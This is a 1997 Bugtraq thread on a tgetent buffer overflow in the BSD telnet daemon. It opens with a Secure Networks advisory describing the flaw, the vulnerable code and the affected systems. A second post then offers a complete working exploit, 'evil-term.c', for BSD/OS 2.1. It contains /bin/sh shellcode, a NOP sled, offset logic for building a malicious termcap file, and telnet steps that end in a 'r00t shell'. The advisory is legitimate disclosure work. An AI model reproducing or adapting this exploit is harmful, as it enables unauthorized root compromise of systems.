in.telnetd tgetent buffer overflow

Date: Tue, 21 Oct 1997 18:24:02 -0600
From: "Secure Networks Inc." <sni@SILENCE.SECNET.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: SNI-20: Telnetd tgetent vulnerability

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                            Secure Networks Inc.

                             Security Advisory
                             October 21, 1997

                    in.telnetd tgetent buffer overflow


This advisory addresses a vulnerability in the tgetent(3) library
routine which allows an attacker to obtain root privileges by connecting
to a vulnerable system's telnet daemon.


Problem Description
~~~~~~~~~~~~~~~~~~~

A vulnerability in the tgetent(3) library routine can result in a
buffer overflow in the telnet daemon on some BSD derived systems.  By
uploading an alternate terminal capability database, an attacker
can exploit this vulnerability to gain unauthorized super-user access
to a vulnerable system, or to gain super-user access on a system
which they already have access to.

This problem can be exploited by mailing a file into the system, or
uploading a file via FTP.  Once this file has been transferred to the
remote system, the attacker must only be able to connect to the telnet
daemon, to obtain super-user access.


Technical Details
~~~~~~~~~~~~~~~~~

The tgetent(3) library call requires the passing in of a buffer in
which the terminal entry is stored.

   /*
    * Get an entry for terminal name in buffer bp from the termcap file.
    */
   int
   tgetent(bp, name)
           char *bp, *name;
   {

The tgetent(3) library call does no checking on the size of data which
is placed into the *bp buffer.  Many programs pass in a buffer of size
1024 bytes.  By creating a termcap terminal specification larger than
1024 bytes, we can overflow a buffer in the calling function.  If this
buffer is stored on the stack in the calling function, we can cause
arbitrary machine code to be executed.

The BSD telnet daemon calls the tgetent(3) function as follows:

   char buf[1024];

   if (terminaltype == NULL)
       return(1);

   if (tgetent(buf, s) == 0)
       return(0);
   return(1);

By specifying a terminal capability entry which is larger than 1024
bytes, an overflow occurs in the telnet daemon, allowing arbitrary
machine instructions to be executed.


Impact
~~~~~~

Remote individuals can obtain super-user access to any vulnerable system.
This vulnerability can allow remote users to obtain super-user access on
vulnerable systems, and can allow local users to obtain super-user access.


Vulnerable Systems
~~~~~~~~~~~~~~~~~~

BSD/OS (BSDI)

   Version 2.1 of BSD/OS is vulnerable
   Version 3.0 of BSD/OS is NOT vulnerable

   BSDI has issued a security fix which is currently in the testing
   phases and will be availible at the following location:

        ftp://ftp.bsdi.com/bsdi/patches/patches-2.1/U210-043

Solaris 2.x

   Solaris 2.x is NOT vulnerable to this problem

AIX

   AIX is NOT vulnerable to this problem

HP-UX

   HP-UX is NOT vulnerable to this problem

Linux

   The current versions of Linux which were tested include Slackware
   and Redhat, which appear to be NOT vulnerable.

IRIX

   IRIX appears to be NOT vulnerable.

NetBSD

   Current versions of NetBSD are not vulnerable.

FreeBSD

   Versions of FreeBSD newer than 2.1.5 are NOT vulnerable to this
   problem.  FreeBSD-current, FreeBSD 2.1.7 and FreeBSD 2.2.2 are NOT
   vulnerable.

OpenBSD

   Versions of OpenBSD newer than 2.0 are NOT vulnerable to this problem.


Additional Information
~~~~~~~~~~~~~~~~~~~~~~

This problem was discovered by Theo de Raadt <deraadt@openbsd.org>

You can contact Secure Networks Inc. at <sni@secnet.com> using
the following PGP key:

Type Bits/KeyID    Date       User ID
pub  1024/9E55000D 1997/01/13 Secure Networks Inc. <sni@secnet.com>
                              Secure Networks <security@secnet.com>

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Copyright Notice
~~~~~~~~~~~~~~~~
The contents of this advisory are Copyright (C) 1997 Secure Networks Inc,
and may be distributed freely provided that no fee is charged for
distribution, and that proper credit is given.

 You can find Secure Networks papers at ftp://ftp.secnet.com/pub/papers
 and advisories at ftp://ftp.secnet.com/advisories

 You can browse our web site at http://www.secnet.com

 You can subscribe to our security advisory mailing list by sending mail to
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Date: Thu, 23 Oct 1997 04:36:00 -0000
From: Joseph_K <joseph_k@CIRCUITFROST.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: BSDI termcap exploit

Here's a remote exploit for the BSDI termcap buffer overflow that was
discussed here....
Enjoy!

Joseph_K

---
/* BSDI BSD/OS 2.1 telnet-exploit ; evil-term.c
**
** Written by Joseph_K the 22-Oct-1997
**
**
** Original shellcode by mudge@l0pht.com but modified a tiny bit...
**
** This program must be compiled for the BSDI architecture...
** You will need to transfer the file 'termcap' this program creates
** to the host you want to penetrate, possibly by anonymous FTP.
**
** Then start telnet and type:
**
** telnet> env def TERM access
** telnet> env def TERMCAP /path/and/name/of/uploaded/file
** telnet> open victim.host.com
**
** tadaa! r00t shell...
**
** However because of the invalid termcap entry, there can be some
** hazzles....You figure it out....
**
** Fy faen vad jag ar hungrig...
**
** Special Greetz to TWiLiGHT!
**
*/

#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define filename "./termcap"
#define entry   "access|Gimme r00t:\\\n :"
#define bufsize 1300
#define default_offset 870    /* Should work...*/

char shellcode[] =
   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";

long get_sp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(int argc, char *argv[]) {
   int i, fd, offs;
   long *bof_ptr;
   char *ptr, *buffer, *tempbuf;

   offs = default_offset;

   if(argc == 2) {
      printf("using offset: %d\n",atoi(argv[1]));
      offs = atoi(argv[1]);
   }

   if(!(buffer = malloc(bufsize))) {
      printf("can't allocate enough memory\n");
      exit(0);
   }


  if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {
      printf("can't allocate enough memory\n");
      exit(0);
   }

   bof_ptr = (long *)buffer;
   for (i = 0; i < bufsize - 4; i += 4)
      *(bof_ptr++) = get_sp() - offs;

   ptr = (char *)buffer;
   for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)
      *(ptr++) = 0x90;

   for (i = 0; i < strlen(shellcode); i++)
      *(ptr++) = shellcode[i];

   printf("Creating termcap file\n");

   snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry, buffer);
   fd = open(filename, O_WRONLY|O_CREAT, 0666);
   write (fd, tempbuf, strlen(tempbuf));
   close(fd);
}